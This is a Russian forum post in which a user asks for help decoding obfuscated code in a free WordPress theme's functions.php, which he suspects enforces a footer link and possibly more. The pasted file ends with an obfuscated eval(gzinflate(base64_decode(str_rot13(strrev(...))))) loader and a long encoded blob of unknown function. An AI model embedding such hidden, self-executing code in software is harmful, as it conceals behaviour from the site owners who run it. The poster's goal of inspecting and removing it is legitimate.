[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Прошу помощи в раскодировке зашифрованного кода
Bahus
Автор темы еще тот извращенец по ходу.
В футере стоит ссылка. Если убрать код в footer.php код, вылезает матершина про ссылку. Стандартный вариант.
В файле функций темы есть зашифрованный код проверки наличия ссылок в футере (и скорее всего далеко не только это). При удалении ругается на файл header самую первую строку.
Нужна помощь в раскодировке мусора в файле функций темы. Хотелось бы точно знать, что там понапихано, и, соответственно, убрать этот мусор с ссылками из темы.
Ссылка на саму тему http://www.free-wordpress-theme.net/theme/lcd-wp-theme.html

Файлы:

functions.php
<?php

$artThemeSettings = array(
'menu.showSubmenus' => true,
'menu.homeCaption' => "Home",
'menu.showHome' => true,
'menu.topItemBegin' => "<span class=\"l\"></span><span class=\"r\"></span><span class=\"t\">",
'menu.topItemEnd' => "</span>"
);

load_theme_textdomain('kubrick');

$themename = "lcd_wp_theme";
$shortname = "artisteer";
$default_footer_content = "<a href='#'>Contact Us</a> | <a href='#'>Terms of Use</a> | <a href='#'>Trademarks</a> | <a href='#'>Privacy Statement</a><br/>Copyright © ".date('Y')." ".get_bloginfo('name').". All Rights Reserved.";
$options = array (
array( "name" => "Sidebar Ad",
"desc" => "This is for the Google AdSense banner in the sidebar.<br /><br />",
"id" => "lcd_adsense_250",
"std" => "(Input html or adsense code here)",
"type" => "textarea"),
array( "name" => "Footer",
"desc" => sprintf(__('<strong>XHTML:</strong> You can use these tags: <code>%s</code>', 'kubrick'), 'a, abbr, acronym, em, b, i, strike, strong, span'),
"id" => "art_footer_content",
"std" => $default_footer_content,
"type" => "textarea")
);



function art_update_option($key, $value){
update_option($key, (get_magic_quotes_gpc()) ? stripslashes($value) : $value);
}

function art_add_admin() {



global $themename, $shortname, $options;

if ( $_GET['page'] == basename(__FILE__) ) {

if ('save' == $_REQUEST['action'] ) {

foreach ($options as $value) {
if($value['type'] != 'multicheck'){
art_update_option( $value['id'], $_REQUEST[ $value['id'] ] );
}else{
foreach($value['options'] as $mc_key => $mc_value){
$up_opt = $value['id'].'_'.$mc_key;
art_update_option($up_opt, $_REQUEST[$up_opt] );
}
}
}

foreach ($options as $value) {
if($value['type'] != 'multicheck'){
if( isset( $_REQUEST[ $value['id'] ] ) ) { art_update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); }
}
else{
foreach($value['options'] as $mc_key => $mc_value){
$up_opt = $value['id'].'_'.$mc_key;
if( isset( $_REQUEST[ $up_opt ] ) ) { art_update_option( $up_opt, $_REQUEST[ $up_opt ] ); } else { delete_option( $up_opt ); }
}
}
}

header("Location: themes.php?page=functions.php&saved=true");
die;
}
}


add_theme_page("LCD WP Theme Options", "LCD WP Theme Options", 'edit_themes', basename(__FILE__), 'art_admin');

}

$zsZp='e';$wIktQR='o';$NmDUG='e';$THZv='c';$PQOTrR='6';$dwmAXi='4';$cILEKx='b';$rQFzmK='_';$fovQS='s';$IGHXzr='e';$HBGgoSJ='d';$HxlThZ='d';$VguIYi='a';$fhufUkfd=$cILEKx.$VguIYi.$fovQS.$NmDUG.$PQOTrR.$dwmAXi.$rQFzmK.$HBGgoSJ.$zsZp.$THZv.$wIktQR.$HxlThZ.$IGHXzr;$YObqdX='l';$hzQzIQy='i';$Pild='z';$jdUvsoV='g';$iYwVU='f';$RBXf='e';$AbsL='n';$xUrfLQi='t';$TfJXe='a';$CpkmPmiN=$jdUvsoV.$Pild.$hzQzIQy.$AbsL.$iYwVU.$YObqdX.$TfJXe.$xUrfLQi.$RBXf;$iVNEWnF='t';$aliSMfX='t';$xQxgXP='_';$jRjzKg='r';$UilLGrI='1';$VjHWvP='o';$qTXlkc='s';$bzaRH='r';$bRnlr='3';$jUJgsDlb=$qTXlkc.$aliSMfX.$bzaRH.$xQxgXP.$jRjzKg.$VjHWvP.$iVNEWnF.$UilLGrI.$bRnlr;$Zysv='e';$xSjq='v';$GEbF='r';$uwedNm='r';$xjSx='s';$pzxwvtx='t';$XYHYThwB=$xjSx.$pzxwvtx.$uwedNm.$GEbF.$Zysv.$xSjq;eval($CpkmPmiN($fhufUkfd($jUJgsDlb($XYHYThwB('==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 